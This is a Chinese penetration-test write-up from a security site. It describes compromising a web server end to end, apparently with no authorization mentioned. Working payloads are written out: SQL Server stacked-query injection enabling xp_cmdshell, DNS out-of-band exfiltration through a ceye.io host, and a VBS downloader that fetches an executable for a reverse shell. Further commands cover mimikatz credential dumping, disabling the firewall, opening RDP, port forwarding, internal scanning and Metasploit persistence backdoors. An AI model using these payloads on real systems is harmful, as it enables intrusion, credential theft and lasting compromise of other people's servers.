记一次渗透测试实战

2020-06-05 20,847

信息收集

用dirsearch扫了一波目录没有发现什么东西
20190518185310-20751cde-795b-1.png

直接用主站域名解析的ip访问发现主站是挂有cdn的
20190518182820-a871fc28-7957-1.png20190518185318-252ad070-795b-1.png

subDomainsBrute 扫描子域名
20190518182805-9f42ee6e-7957-1.png

其中一个子域没挂CDN,由此找到网站的真实ip
20190518182820-a871fc28-7957-1.png

得到真实ip后nmap扫描发现8099端口有个未知应用
20190518182837-b251a806-7957-1.png
访问发现是个WEB服务,一个登陆界面

漏洞利用

趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能
20190518182942-d95d8aa0-7957-1.png

遂把目光放在了nmap扫出的8099端口的web服务
20190518185402-3f311eca-795b-1.png

常规测试admin/admin,提示密码错误
20190518183006-e7454450-7957-1.png

l3yx/xxxx,账号不存在
20190518183016-ed82402a-7957-1.png

那么可以确定的是这里的账号和密码验证是分开的,确有admin账号。而且没有验证码,理论上可以爆破了,但我只手动测试了常见的几个弱口令,无果。

当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli!
20190518183041-fc8fe568-7957-1.png

于是很熟练的构造"万能密码",admin/x' or 'x'='x--
20190518183059-06d87c92-7958-1.png

然后反应过来了,之前测试发现账号密码验证是分开的,后台的账号密码验证肯定并非 where username=xxx and password=xxx 这种简单的sql语句,所以继续测试观察报错信息
20190518183131-1a632122-7958-1.png
20190518183140-1f49b656-7958-1.png

账号密码的验证貌似是调用了储存过程,类似如 execute @result= verify 'xxx','xxx';

当账号密码为admin/11','xx'--时,页面返回正常
20190518183212-32b3bfca-7958-1.png

由于不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登陆的payload没有成功,就换种思路。

sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令

第一步先用如下语句开启扩展存储过程

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

20190518183257-4d41d9c6-7958-1.png

执行系统命令

exec master..xp_cmdshell "whoami"

这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果
20190518183345-6a4c7364-7958-1.png
20190518183352-6e7ade62-7958-1.png

命令执行结果DNS带外

有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令

cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"

实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录
目标服务器貌似没有nslookup,换成ping
&&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了
生成的temp文件要删除,否则下次执行会失败
sqlserver中一对双引号其中的双引号用两个双引号代替

最后的paylaod

exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";

20190518183659-ddc0f7f2-7958-1.png
20190518183705-e1703462-7958-1.png
20190518183711-e518253e-7958-1.png
直接就是system权限

写入VBS下载木马

cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件

vbs下载文件脚本:

iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2

用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
所以先得利用sql注入执行命令把该脚本一点点写入文件,如下

echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs

注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\转义,如图
20190518183848-1ecfa284-7959-1.png
20190518183850-1fdfc492-7959-1.png
20190518183852-214f129c-7959-1.png

在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器确有下载记录
20190518183924-33e8cca4-7959-1.png

说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊...

后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell
20190518183939-3cf9a3cc-7959-1.png

信息收集

ipconfig

查了一下ip,发现处在内网
20190518184257-b2dd7b22-7959-1.png

查看域用户

net group /domain

有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了

看到这里是没有域的,有点小失望
20190518184321-c12151c2-7959-1.png

查看系统基本信息

systeminfo

20190518184341-cd4c90ce-7959-1.png

查看端口,没开3389

netstat -ano

20190518184403-da64c61e-7959-1.png

查看相邻主机IP

arp -a

20190518184422-e5b9a408-7959-1.png

抓用户hash
20190518184441-f0c9371e-7959-1.png
20190518184451-f6d8e866-7959-1.png
解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载

load mimikatz

然后用kerberos命令抓取
或者用mimikatz_command执行mimikatz命令

mimikatz_command -f sekurlsa::logonPasswords

20190518184544-168d12a4-795a-1.png

连接3389

目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令开启

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

20190518184625-2eefe6b4-795a-1.png

20190518184635-34d63f1a-795a-1.png

20190518184645-3b12167e-795a-1.png

关闭防火墙:

netsh firewall set opmode mode=disable

尝试关闭防火墙后还是连接不成功
测试发现3389端口仍然为closed
20190518184713-4bcbcdf2-795a-1.png

真是被自己蠢到了...
这台服务器是在内网,要连接自然的先把端口转发到公网上啊
metasploit端口转发:

portfwd add -l 3389 -p 3389 -r 192.168.50.2

这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)
20190518184802-68a21bca-795a-1.png

然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改
20190518184906-8ef4e4f6-795a-1.png

内网扫描

要对目标内网进行扫描需要先添加一下路由

run autoroute -s 192.168.50.2/24

20190518184906-8ef4e4f6-795a-1.png

使用metasploit的portscan扫描一下内网存活的主机

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit

20190518184925-9a2e299a-795a-1.png
有点慢呢,最后扫了一半还没发现其他主机就放弃了

权限维持

metasploi Metsvc模块
这个使用很简单

run metsvc

20190518185013-b6ab6fc4-795a-1.png

其实是给目标开了一个服务
20190518185023-bcc07cf6-795a-1.png

连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337

metasploi Persistence模块

run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx

-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址

20190518185109-d8448bd4-795a-1.png
清除脚本在下图位置
20190518185119-de37c998-795a-1.png
若要清除后门,在meterpreter运行该脚本即可
20190518185137-e94e9578-795a-1.png


本文作者:hackctf

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/132817.html

Tags:
评论  (0)
快来写下你的想法吧!

hackctf

文章数:40 积分: 80

微信公众号:hackctf

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号